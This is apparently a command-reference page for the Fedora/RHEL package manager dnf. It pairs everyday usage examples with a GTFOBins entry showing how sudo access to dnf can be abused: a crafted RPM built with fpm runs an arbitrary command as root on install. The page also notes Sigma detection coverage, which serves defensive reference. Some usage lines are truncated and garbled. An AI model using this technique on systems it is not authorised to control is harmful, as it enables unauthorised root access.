Identifier / Programs / Linux and Unix
dnf
Package manager for Fedora 41+ and RHEL 10. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages
GTFOBins command 1 documented command
How dnf is abused
command
install
-y--disablerepoEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for dnf.
1 documented command
command with sudo
Generate the RPM package with fpm and upload it to the target.
echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install x.sh .The --disablerepo=* option is used for targets without Internet connectivity, can be omitted otherwise.
dnf install -y x-1.0-1.noarch.rpm --disablerepo=*The command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for dnf. The identifier reads the line that runs dnf.
Everyday use
Upgrade installed packages to the newest available versions
sudo dnf [upIdentifySearch packages via keywords
dnf [se keyword1 keyword2 ...IdentifyDisplay details about a package
dnf [if packageIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.